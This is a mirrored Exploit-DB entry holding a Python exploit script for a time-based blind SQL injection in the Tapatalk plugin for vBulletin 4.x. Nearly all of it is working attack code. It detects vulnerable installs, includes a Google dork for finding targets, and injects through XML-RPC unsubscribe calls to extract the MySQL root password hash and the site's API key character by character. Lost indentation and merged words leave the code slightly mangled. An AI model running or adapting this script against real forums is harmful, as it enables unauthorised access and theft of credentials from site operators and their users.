Tapatalk for vBulletin 4.x – Blind SQL Injection

  • 作者: tintinweb
    日期: 2014-10-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35102/
  • #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    '''
    @author: tintinweb 0x721427D8
    '''
    import urllib2, urllib
    import xmlrpclib,re, urllib2,string,itertools,time
    from distutils.version import LooseVersion
    
    
    class Exploit(object):
    def __init__(self, target, debug=0 ):
    self.stopwatch_start=time.time()
    self.target = target
    self.path = target
    self.debug=debug
    if not self.target.endswith("mobiquo.php"):
    self.path = self.detect_tapatalk()
    if not self.path:
    raise Exception("Could not detect tapatalk or version not supported!")
    self.rpc_connect()
    self.attack_func = self.attack_2
    
    def detect_tapatalk(self):
    # request page, check for tapatalk banner
    handlers = [
    urllib2.HTTPHandler(debuglevel=self.debug),
    urllib2.HTTPSHandler(debuglevel=self.debug),
    
    ]
    ua = urllib2.build_opener(*handlers)
    ua.addheaders = [('User-agent', 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3')]
    data = ua.open(self.target).read()
    if self.debug:
    print data
    if not "tapatalkDetect()" in data:
    print "[xx] could not detect tapatalk. bye..."
    return None
    
    # extract tapatalk version
    print "[ i] Taptalk detected ... ",
    path = "".join(re.findall(r"^\s*<link href=[\s'\"]?(http://.*?/)smartbanner/appbanner.css", data, re.MULTILINE|re.DOTALL))
    path+="mobiquo.php"
    print "'%s' ... "%path,
    data = urllib.urlopen(path).read()
    version = "".join(re.findall(r"Current Tapatalk plugin version:\s*([\d\.a-zA-Z]+)", data))
    if LooseVersion(version) <= LooseVersion("5.2.1"):
    print "v.%s:) - OK"%version
    return path
    print "v.%s :( - not vulnerable"%version
    return None
    
    def rpc_connect(self):
    self.rpc = xmlrpclib.ServerProxy(self.path,verbose=self.debug)
    
    def attack_1(self, sqli, sleep=2):
    
    '''
    SELECT subscribethreadid
    FROM subscribethread AS subscribethread
    LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
    WHERE subscribethreadid = <INJECTION>
    AND subscribethreadid.userid = 0";
    
    <INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE
    '''
    
    query = "-1 union %s and(select sleep(%s) )"%(sqli,sleep)
    query += "union select subscribethreadid from subscribethreadwhere 1=1 OR 1=1"# fix query for "AND subscribeforum.userid=0"
    
    if self.debug:
    print """SELECT subscribethreadid
    FROM subscribethread AS subscribethread
    LEFT JOIN user AS user ON (user.userid=subscribethread.userid)
    WHERE subscribethreadid = %s
    AND subscribethread.userid = 0"""%query
    
    return self.rpc.unsubscribe_topic("s_%s"%query) #no escape, invalid_char="_"
    
    def attack_2(self, sqli, sleep=2):
    '''
    SELECT subscribeforumid
    FROM subscribeforum AS subscribeforum
    LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
    WHERE subscribeforumid = <INJECTION>
    AND subscribeforum.userid = 0";
    
    <INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE
    '''
    
    query = "-1 union %s and(select sleep(%s) )"%(sqli,sleep)
    query += "union select subscribeforumid from subscribeforumwhere 1=1 OR 1=1"# fix query for "AND subscribeforum.userid=0"
    
    if self.debug:
    print """SELECT subscribeforumid
    FROM subscribeforum AS subscribeforum
    LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
    WHERE subscribeforumid = %s
    AND subscribeforum.userid = 0"""%query
    
    return self.rpc.unsubscribe_forum("s_%s"%query) #no escape, invalid_char="_"
    
    def attack_blind(self,sqli,sleep=2):
    return self.attack_func(sqli,sleep=sleep)
    #return self.attack_func("-1 OR subscribethreadid = ( %s AND (select sleep(4)) )UNION SELECT 'aaa' FROM subscribethreadWHERE subscribethreadid = -1 OR 1 "%sqli)
    
    def attack_blind_guess(self,query, column, charset=string.ascii_letters+string.digits,maxlength=32, sleep=2, case=True):
    '''
    provide <query> = select -1 from user where user='debian-sys-maint' where <COLUMN> <GUESS>
    '''
    
    
    hit = False
    # PHASE 1 - guess entry length
    print "[] trying to guess length ..."
    for guess_length in xrange(maxlength+1):
    q = query.replace("<COLUMN>","length(%s)"%column).replace("<GUESS>","= %s"%guess_length)
    
    self.stopwatch()
    self.attack_blind(q, sleep)
    duration = self.stopwatch()
    
    print ".",
    
    ifduration >= sleep-sleep/8:
    # HIT! - got length! => guess_length
    hit = True
    print ""
    break
    
    if not hit:
    print "[ !!] unable to guess password length, check query!"
    return None
    
    
    print "[*] LENGTH = %s"%guess_length
    
    # PHASE 2 - guess password up to length
    print "[] trying to guess value..."
    hits = 0
    result = ""
    for pos in xrange(guess_length):
    # for each char pos in up to guessed length
    for attempt in self.bruteforce(charset, 1):
    # probe all chars in charset
    #attempt = re.escape(attempt)
    if attempt == "%%":
    attempt= "\%"
    #LIKE binary = case sensitive.might be better to do caseinsensitive search + recheck case with binary
    q = query.replace("<COLUMN>",column).replace("<GUESS>","LIKE '%s%s%%' "%(result,attempt))
    
    self.stopwatch()
    self.attack_blind(q, sleep)
    duration = self.stopwatch()
    
    #print result,attempt,"",duration
    print ".",
    ifduration >= sleep-sleep/8:
    if case:
    # case insensitive hit - recheck case: this is drastically reducing queries needed.
    q = query.replace("<COLUMN>",column).replace("<GUESS>","LIKE binary '%s%s%%' "%(result,attempt.lower()))
    self.stopwatch()
    self.attack_blind(q, sleep)
    duration = self.stopwatch()
    ifduration >= sleep-sleep/8:
    attempt = attempt.lower()
    else:
    attempt = attempt.upper()
    # case sensitive - end
    
    
    
    # HIT! - got length! => guess_length
    hits += 1
    print ""
    print "[+] HIT! - %s[%s].."%(result,attempt)
    result += attempt
    break 
    
    if not hits==guess_length:
    print "[ !!] unable to guess password length, check query!"
    return None
    
    print "[*] SUCCESS!: query: %s"%(query.replace("<COLUMN>",column).replace("<GUESS>","='%s'"%result)) 
    return result 
    
    def bruteforce(self, charset, maxlength):
    return (''.join(candidate)
    for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i)
    for i in range(1, maxlength + 1)))
    
    def stopwatch(self):
    stop = time.time()
    diff = stop - self.stopwatch_start
    self.stopwatch_start=stop
    return diff
    
    if __name__=="__main__":
    #googledork:https://www.google.at/search?q=Tapatalk+Banner+head+start
    DEBUG = False
    TARGET = "http://TARGET/vbb4/forum.php"
    x = Exploit(TARGET,debug=DEBUG)
    
    print "[ ] TAPATALK for vBulletin 4.x - SQLi"
    print "[--] Target: %s"%TARGET
    if DEBUG: print "[--] DEBUG-Mode!" 
    
    print "[ +] Attack - sqli"
    
    
    query = u"-1UNION SELECT 1%s"%unichr(0)
    if DEBUG:
    print u"""SELECT subscribeforumid
    FROM subscribeforum AS subscribeforum
    LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
    WHERE subscribeforumid = %s
    AND subscribeforum.userid = 0"""%query
    
    
    print "[ *] guess mysql user/pass"
    print x.attack_blind_guess("select -1 from mysql.user where user='root' and <COLUMN> <GUESS>", 
     column="password",
     charset="*"+string.hexdigits,
     maxlength=45)# usually 40 chars + 1 (*)
    
    print "[ *] guess apikey"
    print x.attack_blind_guess("select -1 from setting where varname='apikey' and <COLUMN> <GUESS>",
     column='value',
     charset=string.ascii_letters+string.digits,
     maxlength=14,
     )
    
    print "-- done --"